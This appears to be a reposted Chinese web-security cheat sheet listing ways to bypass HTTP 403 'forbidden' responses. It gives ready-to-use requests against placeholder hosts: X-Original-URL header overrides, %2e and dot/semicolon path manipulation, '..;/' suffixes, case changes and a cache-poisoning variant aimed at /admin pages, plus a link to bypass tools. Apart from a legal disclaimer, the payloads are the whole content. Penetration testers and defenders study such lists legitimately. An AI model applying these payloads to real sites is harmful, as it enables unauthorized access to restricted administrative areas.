-
使用“X-Original-URL”标头
GET /admin HTTP/1.1
Host: target.com
试试这个绕过
GET /anything HTTP/1.1
Host: target.com
X-Original-URL: /admin
-
在第一个斜杠后附加%2e
http://target.com/admin => 403
试试这个绕过
http://target.com/%2e/admin => 200
-
尝试在 URL 中添加点 (.) 斜线 (/) 和分号 (;)
http://target.com/admin => 403
试试这个绕过
http://target.com/secret/. => 200
http://target.com//secret// => 200
http://target.com/./secret/.. => 200
http://target.com/;/secret => 200
http://target.com/.;/secret => 200
http://target.com//;//secret => 200
-
在目录名后加“..;/”
http://target.com/admin
试试这个绕过
http://target.com/admin..;/
-
尝试将网址中的字母大写
http://target.com/admin
试试这个绕过
http://target.com/aDmIN
-
通过 Web 缓存中毒
GET /anything HTTP/1.1
Host: victim.com
X-Original-URL: /admin
工具:
https://github.com/search?q=Bypass-403
原文始发于微信公众号(Ots安全):旁路 403(禁止访问)绕过
特别标注:
本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论